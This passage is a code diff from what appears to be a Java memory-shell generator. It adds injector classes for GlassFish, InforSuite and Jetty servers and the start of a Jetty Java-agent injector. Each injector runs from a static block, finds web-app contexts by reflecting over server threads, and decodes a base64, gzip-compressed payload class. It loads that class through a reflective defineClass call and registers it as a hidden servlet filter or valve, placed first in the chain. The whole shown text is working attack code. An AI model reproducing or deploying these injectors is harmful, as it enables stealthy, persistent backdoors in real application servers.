+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

@@ -0,0 +1,217 @@
+package com.reajason.javaweb.memshell.injector.glassfish;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Date: 2022/11/01
+ * Author: pen4uin
+ * Description: Tomcat Filter 注入器 Tested version： jdk v1.8.0_275
+ * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
+ *
+ * @author ReaJason
+ */
+public class GlassFishFilterInjector {
+
+    static {
+        new GlassFishFilterInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public GlassFishFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                // skip glassfish /osgi context
+                if (getFieldValue(context, "serverContext") != null) {
+                    Object shell = getShell(context);
+                    inject(context, shell);
+                }
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    /**
+     * com.sun.enterprise.web.WebModule
+     * /xxx/modules/web-glue.jar
+     */
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader webAppClassLoader = getWebAppClassLoader(context);
+        try {
+            return webAppClassLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object shell) throws Exception {
+        if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+            System.out.println("filter already injected");
+            return;
+        }
+        Object filterDef;
+        Object filterMap;
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        try {
+            // tomcat v8+
+            filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
+            filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
+        } catch (Exception e2) {
+            // tomcat v5+
+            filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
+            filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
+        }
+
+        invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
+        try {
+            invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
+        } catch (Exception e) {
+            invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{shell.getClass()});
+        }
+        invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
+        invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
+        Constructor<?>[] constructors;
+        try {
+            invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        } catch (Exception e) {
+            // tomcat v5
+            invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        }
+        try {
+            // v7.0.0 以上
+            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+        } catch (Exception e) {
+            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+        }
+
+        Constructor filterConfigConstructor;
+        filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
+        filterConfigConstructor.setAccessible(true);
+        Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
+        Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
+        filterConfigs.put(getClassName(), filterConfig);
+        System.out.println("filter inject success");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

@@ -0,0 +1,176 @@
+package com.reajason.javaweb.memshell.injector.glassfish;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class GlassFishValveInjector {
+
+    static {
+        new GlassFishValveInjector();
+    }
+
+    public GlassFishValveInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object valve = getShell(context);
+                inject(context, valve);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Collection<?> values = childrenMap.values();
+                for (Object value : values) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object valve) throws Exception {
+        Object pipeline = invokeMethod(context, "getPipeline", null, null);
+        if (isInjected(pipeline)) {
+            System.out.println("valve already injected");
+            return;
+        }
+        Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
+        invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
+        System.out.println("valve injected successfully");
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object pipeline) throws Exception {
+        Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
+        List<Object> valvesList = Arrays.asList(valves);
+        for (Object valve : valvesList) {
+            if (valve.getClass().getName().contains(getClassName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java

@@ -0,0 +1,205 @@
+package com.reajason.javaweb.memshell.injector.inforsuite;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.logging.Logger;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class InforSuiteFilterInjector {
+    Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
+
+    static {
+        new InforSuiteFilterInjector();
+    }
+
+    public InforSuiteFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getShell(context);
+                inject(context, filter);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    /**
+     * com.cvicse.loong.enterprise.web.WebModule
+     * /usr/local/inforsuite/as/modules/web-glue.jar
+     */
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object context, Object filter) throws Exception {
+        String filterName = getClassName();
+        if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+            log.warning("filter already exists");
+            return;
+        }
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
+        Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
+        invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+        invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
+        invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
+        invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+        invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+
+        try {
+            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+        } catch (Exception e) {
+            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+        }
+
+        Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
+        constructors[0].setAccessible(true);
+        Object filterConfig = constructors[0].newInstance(context, filterDef);
+        HashMap<String, Object> filterConfigs = null;
+        try {
+            filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
+        } catch (Exception e) {
+            filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs");
+        }
+        filterConfigs.put(filterName, filterConfig);
+        log.info("filter added successfully");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

@@ -0,0 +1,264 @@
+package com.reajason.javaweb.memshell.injector.jetty;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.*;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * tested v8、v9
+ *
+ * @author ReaJason
+ */
+
+public class JettyFilterInjector {
+
+    static {
+        new JettyFilterInjector();
+    }
+
+    public JettyFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getShell(context);
+                inject(context, filter);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public void inject(Object context, Object filter) throws Exception {
+        Object servletHandler = getFieldValue(context, "_servletHandler");
+        if (servletHandler == null) {
+            return;
+        }
+        if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+            System.out.println("filter is already injected");
+            return;
+        }
+
+        String[] classNames = new String[]{
+                "org.eclipse.jetty.servlet.FilterHolder",
+                "org.eclipse.jetty.ee8.servlet.FilterHolder",
+                "org.eclipse.jetty.ee9.servlet.FilterHolder",
+                "org.eclipse.jetty.ee10.servlet.FilterHolder",
+                "org.mortbay.jetty.servlet.FilterHolder",
+        };
+
+        Class<?> filterHolderClass = null;
+
+        for (String className : classNames) {
+            try {
+                filterHolderClass = context.getClass().getClassLoader().loadClass(className);
+            } catch (ClassNotFoundException ignored) {
+            }
+        }
+
+        if (filterHolderClass == null) {
+            throw new ClassNotFoundException("FilterHodler");
+        }
+
+        Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
+        Object filterHolder = constructor.newInstance(filter.getClass());
+        invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
+        moveFilterToFirst(servletHandler);
+        invokeMethod(servletHandler, "invalidateChainsCache");
+        System.out.println("filter added successfully");
+    }
+
+    private void moveFilterToFirst(Object servletHandler) throws Exception {
+        Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
+        ArrayList<Object> reorderedFilters = new ArrayList<Object>();
+        int filterLength;
+
+        if (filterMaps.getClass().isArray()) {
+            filterLength = Array.getLength(filterMaps);
+            for (int i = 0; i < filterLength; i++) {
+                Object filter = Array.get(filterMaps, i);
+                String filterName = (String) getFieldValue(filter, "_filterName");
+                if (filterName.equals(getClassName())) {
+                    reorderedFilters.add(0, filter);
+                } else {
+                    reorderedFilters.add(filter);
+                }
+            }
+            for (int i = 0; i < filterLength; i++) {
+                Array.set(filterMaps, i, reorderedFilters.get(i));
+            }
+        } else if (filterMaps instanceof ArrayList) {
+            ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
+            filterLength = filterList.size();
+            for (Object filter : filterList) {
+                String filterName = (String) getFieldValue(filter, "_filterName");
+                if (filterName.equals(getClassName())) {
+                    reorderedFilters.add(0, filter);
+                } else {
+                    reorderedFilters.add(filter);
+                }
+            }
+            filterList.clear();
+            filterList.addAll(reorderedFilters);
+        } else {
+            throw new IllegalArgumentException("filterMaps must be either an array or an ArrayList");
+        }
+    }
+
+    /**
+     * org.mortbay.jetty.webapp.WebAppContext
+     * org.eclipse.jetty.webapp.WebAppContext
+     * org.eclipse.jetty.ee8.webapp.WebAppContext
+     * org.eclipse.jetty.ee9.webapp.WebAppContext
+     * org.eclipse.jetty.ee10.webapp.WebAppContext
+     */
+    private List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                // jetty 6
+                Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
+                if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
+                    contexts.add(getFieldValue(contextClassLoader, "_context"));
+                } else {
+                    // jetty 7+
+                    Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
+                    for (int i = 0; i < Array.getLength(table); i++) {
+                        Object entry = Array.get(table, i);
+                        if (entry != null) {
+                            Object threadLocalValue = getFieldValue(entry, "value");
+                            if (threadLocalValue != null) {
+                                if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
+                                    contexts.add(getFieldValue(threadLocalValue, "this$0"));
+                                }
+                            }
+                        }
+                    }
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader"));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "_classLoader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader webAppClassLoader = getWebAppClassLoader(context);
+        try {
+            return webAppClassLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (NoSuchMethodException e) {
+            throw e;
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java

@@ -0,0 +1,291 @@
+package com.reajason.javaweb.memshell.injector.jetty;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.Arrays;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class JettyHandlerAgentInjector implements ClassFileTransformer {
+    private static final List<String> TARGET_CLASSES = Arrays.asList(
+            "org/eclipse/jetty/servlet/ServletHandler",
+            "org/eclipse/jetty/ee8/servlet/ServletHandler",
+            "org/eclipse/jetty/ee9/servlet/ServletHandler",
+            "org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
+            "org/mortbay/jetty/servlet/ServletHandler"
+    );
+    private static String targetMethodName = "doHandle";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
